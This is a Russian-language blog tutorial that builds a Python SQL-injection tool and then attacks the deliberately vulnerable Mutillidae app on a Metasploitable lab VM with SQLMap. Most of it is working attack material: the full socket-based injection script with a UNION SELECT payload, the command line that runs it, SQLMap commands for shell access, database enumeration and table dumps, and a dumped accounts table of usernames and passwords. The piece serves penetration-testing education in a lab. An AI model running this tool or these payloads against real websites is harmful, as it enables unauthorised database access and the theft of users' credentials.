×
Главная   »   Статьи   »   Разрабатываем инструмент для SQL-инъекций на Python
Разрабатываем инструмент для SQL-инъекций на Python
Метки:      ,   ,   ,   ,   ,   ,   ,   

Из этой статьи вы узнаете, как разработать инструмент для SQL-инъекций на Python. Вспомните основные поля HTTP-протокола и основы работы с инструментом SQLMap.

Автор статьи никого не призывает к правонарушениям и отказывается нести ответственность за ваши действия. Вся информация предоставлена исключительно в ознакомительных целях. Все действия происходят на виртуальных машинах и внутри локальной сети автора. Спасибо!

Ранее я уже писал о SQL-инъекциях, которые используют для атак на базы данных. Несмотря на свое древнее происхождение эта уязвимость имеет место быть в новых веб-приложениях. Не будем снова использовать самую популярную инъекцию из предыдущей статьи, а углубим свои знания и напишем простую программу на Python для автоматизации атак подобного типа. В конце статьи вспомним инструмент SQLMap, работать с которым станет намного проще, после написания своего очень упрощенного аналога.

Начнем тренироваться на уязвимом приложении Mutillidae, которое предустановлено в Metasploitable. Для начала его нужно настроить. Переходим в Metasploitable и редактируем файл config.inc, а именно значение переменной $dbname меняем с metasploitable на owasp10.

К слову сказать, подобные файлы, как тот что мы отредактировали могут стать брешью в безопасности при неправильной настройке прав доступа к файлу. Например, нам известно, что данные для подключения к БД сайта на WordPress хранятся в файле wp-config.php. Думаю, вам понятно, что может произойти, если файл будет общедоступным.

Что делать, если вы не знаете имя искомого файла? Здесь может помочь утилита dirb для вывода списка имен файлов, имеющихся в каталоге сайта (у меня Metasploitable имеет следующий IP адрес: 192.168.1.101):

dirb http://192.168.1.101

Откроем браузер в Kali Linux и перейдем в приложение mutillidae.

http://192.168.1.101/mutillidae/

Далее в выпадающем списке находим следующее: OWASP Top 10 > Injection > SQLi Extract Data > User Info. Так же в верхней части страницы вы можете увидеть запись Security Level: 0, означающую что установлен нулевой уровень безопасности веб-приложения.

Разберем основные поля HTTP-протокола

Прежде чем начать писать код, неплохо было бы вспомнить про HTTP-запросы, про который мы говорили в «Burp Suite и picoCTF: ищем флаг на сервере и перебираем куки» и даже немного когда писали простой сервер на C++.

Действия пользователя отправляются на сервер в виде HTTP-запроса, который в свою очередь, посылает HTTP-ответ, содержащий двоичный или HTML код. Далее браузер обрабатывает эти данные и отображает в понятном для пользователя виде.

В статье «Протокол TCP: SYN-, FIN-, NULL-, ACK-, XMAS-сканирования и выявление признаков последнего» для наглядности мы активно использовали Wireshark. Давайте запустим его, включим отслеживание трафика на интерфейсе eth0 и отправим форму аутентификации с любыми данными. Теперь отфильтруем в Wireshark весь трафик при помощи команды ip.dst == 192.168.1.101. Осталось кликнуть правой кнопкой мыши по HTTP пакету и применить функцию отслеживания потока (Follow), далее HTTP Stream.

Пока нас интересует первая строка:

GET /mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details HTTP/1.1

Запрос GET передает данные пользователя в виде параметров в конце URL. Они следуют за оператором ? и разделяются &. Рассмотрим следующую строку:

Host: 192.168.1.101

Заголовок Host определяет адрес сервера, на котором расположена запрашиваемая страница. Далее:

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0

Заголовок User-Agent определяет браузер, с которого сделан запрос. Следующее поле:

Referer: http://192.168.1.101/mutillidae/index.php?...

Поле Referer хранит предыдущую страницу, с которого был переход. Полезное поле для отслеживания трафика, к примеру, на ваш сайт, но оно является не обязательным и поэтому может отсутствовать. Далее:

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Поля Accept содержат принимаемые браузером формат, язык и тип сжатия. Следующие поле:

Connection: keep-alive

Поле Connection хранит тип соединения. В данном случае серверу сообщается о необходимости держать TCP-соединение открытым, чтобы была возможность принимать несколько запросов. Далее:

Cookie: PHPSESSID=674284e807fa700ae42669b8e334b1d7

Как мы уже говорили ранее, протокол HTTP не сохраняет свое состояние и поэтому каждый запрос независим от другого. На помощи приходит механизм Cookie, позволяющий веб-серверам отслеживать процесс взаимодействия пользователя с сайтом. При первом посещении веб-сервер присваивает пользователю уникальный номер, который будет использовать пользователь в дальнейшем при общении с сервером. Именно этот идентификатор хранится в поле Cookie. Если злоумышленник украдет этот файл, то он сможем выдать себя за этого пользователя.

Следующее поле сообщает о необходимости перейти на зашифрованное HTTPS-соединение, если есть такая возможность.

Upgrade-Insecure-Requests: 1

Вот мы и подготовились к написанию инструмента для SQL-инъекций.

Приступаем к разработке инструмента для SQL-инъекций

Начнем с подключения необходимых модулей для работы с сокетами, аргументами командной строки и обработки URL.

import socket
import argparse
import urllib.parse

Далее реализуем функцию, которая будет возвращать HTTP-запрос:

def get_request(HOST, URL, parameter, SQL_injection, COOKIE):

При помощи функции quote_plus из модуля urllib.parse заменим все специальные символы и пробелы на escape-символы.

injection_encoded = urllib.parse.quote_plus(SQL_injection)

Далее сформируем сам HTTP-запрос, в котором для указанного параметра изменим значение на содержимое SQL-инъекции. Остальные строки мы обсудили ранее.

request = ("GET " + URL.replace(parameter + "=", parameter + "=" + 
        injection_encoded) + "\r\n"
    "Host: " + HOST + "\r\n"
    "User-Agent: Mozilla/5.0 \r\n"
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 \r\n"
    "Accept-Language: en-US,en;q=0.5 \r\n"
    "Connection: keep-alive \r\n"
    "Cookie: " + COOKIE + "\r\n"
    )

Перейдем к основной функции. Сачала добавим аргументы, в которые будем передавать данные для нашего инструмента на Python:

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--host', help='IP-address of server')
    parser.add_argument('-u', help='URL')
    parser.add_argument('--param', help='Query String Parameter')
    parser.add_argument('--cookie', help='Session Cookie')

Теперь эти аргументы необходимо обработать и написать простую SQL-инъекцию, которую будем использовать:

    args = parser.parse_args()
    HOST = args.host
    URL = args.u
    PARAMETER = args.param
    COOKIE = args.cookie
    SQL_injection = ' \'UNION SELECT * FROM accounts where \'1\'=\'1'
    PORT = 80

Остается отправить все это через TCP-сокет. Если вы не знаете, как это сделать или немного подзабыли, то вернитесь к статье «Работаем с сокетами и разрабатываем обратную TCP-оболочку на Python», в которой мы достаточно подробно обсуждали этот вопрос.

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as tcp_socket:
        tcp_socket.connect((HOST, PORT))
        request = get_request(HOST, URL, PARAMETER, SQL_injection, COOKIE)
        print(request)
        tcp_socket.sendall(request.encode())
        while True:
            data = tcp_socket.recv(1024)
            print(data)

            if not data:
                break

Далее представлен полный код инструмента для SQL-инъекций на Python:

import socket
import argparse
import urllib.parse

def get_request(HOST, URL, parameter, SQL_injection, COOKIE):
    injection_encoded = urllib.parse.quote_plus(SQL_injection)
    request = ("GET " + URL.replace(parameter + "=", parameter + "=" + 
        injection_encoded) + "\r\n"
    "Host: " + HOST + "\r\n"
    "User-Agent: Mozilla/5.0 \r\n"
    "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 \r\n"
    "Accept-Language: en-US,en;q=0.5 \r\n"
    "Connection: keep-alive \r\n"
    "Cookie: " + COOKIE + "\r\n"
    )

    return request

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument('--host', help='IP-address of server')
    parser.add_argument('-u', help='URL')
    parser.add_argument('--param', help='Query String Parameter')
    parser.add_argument('--cookie', help='Session Cookie')
    args = parser.parse_args()
    HOST = args.host
    URL = args.u
    PARAMETER = args.param
    COOKIE = args.cookie
    SQL_injection = ' \'UNION SELECT * FROM accounts where \'1\'=\'1'
    PORT = 80
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as tcp_socket:
        tcp_socket.connect((HOST, PORT))
        request = get_request(HOST, URL, PARAMETER, SQL_injection, COOKIE)
        print(request)
        tcp_socket.sendall(request.encode())
        while True:
            data = tcp_socket.recv(1024)
            print(data)

            if not data:
                break

main()

Можем перейти к проверке нашего инструмента.

Проверяем инструмент для SQL-инъекций

Откройте командную строку и введите следующую команду:

python3 sql_injection_http.py --host="192.168.1.101" -u="/mutillidae/index.php?page=user-info.php&username=admin&password=&user-info-php-submit-button=View+Account+Details" --param="password" --cookie="PHPSESSID=674284e807fa700ae42669b8e334b1d7"

В моем случае виртуальная машина Metasploitable имеет IP-адрес 192.168.1.101. В консоли результаты работы не совсем удобно читать, поэтому откройте Wireshark и посмотрите на результат. Если немного полистать возвращенный HTML код, то можно найти абзац <p class="report-header">…</p>, содержащий 16 пар логин/паролей.

Наш инструмент очень простой и уступает по функциональности таким инструментам как SQLMap, о котором пойдет речь далее.

Инструмент SQLMap

С инструментом SQLMap уже встречались ранее в статье «День 12. XSS, SQL-инъекции и выполнение команд на сервере Linux». Мы написали свой упрощенный инструмент для SQL-инъекций, поэтому сейчас на SQLMap вы будете смотреть совершенно другим взглядом.

Проведем атаку при помощи SQLMap. Передадим адрес страницы и запустим оболочку SQLMap:

sqlmap -u "http://192.168.1.101/mutillidae/index.php?page=user-info.php&username=admin&password=&" --random-agent --batch --level=5 --risk=3 --shell

Чтобы перечислить все базы данных воспользуйтесь командой --dbs.

[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195

Теперь можем посмотреть какие таблицы содержит база данных owasp10:

-D owasp10 --tables

Результат:

Database: owasp10
[6 tables]
+----------------+
| accounts       |
| blogs_table    |
| captured_data  |
| credit_cards   |
| hitlog         |
| pen_test_tools |
+----------------+

Попробуем вывести содержимое таблицы accounts:

-D owasp10 -T accounts --dump

Как видите, мы получили дамп таблицы accounts, данные из которого могут использоваться в дальнейшем.

Database: owasp10
Table: accounts
[16 entries]
+-----+----------+--------------+----------+-----------------------------+
| cid | is_admin | password     | username | mysignature                 |
+-----+----------+--------------+----------+-----------------------------+
| 1   | TRUE     | adminpass    | admin    | Monkey!                     |
| 2   | TRUE     | somepassword | adrian   | Zombie Films Rock!          |
| 3   | FALSE    | monkey       | john     | I like the smell of confunk |
| 4   | FALSE    | password     | jeremy   | d1373 1337 speak            |
| 5   | FALSE    | password     | bryce    | I Love SANS                 |
| 6   | FALSE    | samurai      | samurai  | Carving Fools               |
| 7   | FALSE    | password     | jim      | Jim Rome is Burning         |
| 8   | FALSE    | password     | bobby    | Hank is my dad              |
| 9   | FALSE    | password     | simba    | I am a cat                  |
| 10  | FALSE    | password     | dreveil  | Preparation H               |
| 11  | FALSE    | password     | scotty   | Scotty Do                   |
| 12  | FALSE    | password     | cal      | Go Wildcats                 |
| 13  | FALSE    | password     | john     | Do the Duggie!              |
| 14  | FALSE    | 42           | kevin    | Doug Adams rocks            |
| 15  | FALSE    | set          | dave     | Bet on S.E.T. FTW           |
| 16  | FALSE    | pentest      | ed       | Commandline KungFu anyone?  |
+-----+----------+--------------+----------+-----------------------------+

В этой статье мы еще раз поработали с SQL-инъекциями, но на этот раз углубили свои знания и написали собственный инструмент на Python для проведения атак с использованием SQL-инъекций. Еще раз поработали с инструментом SQLMap.

749 просмотров
13.07.2023
Автор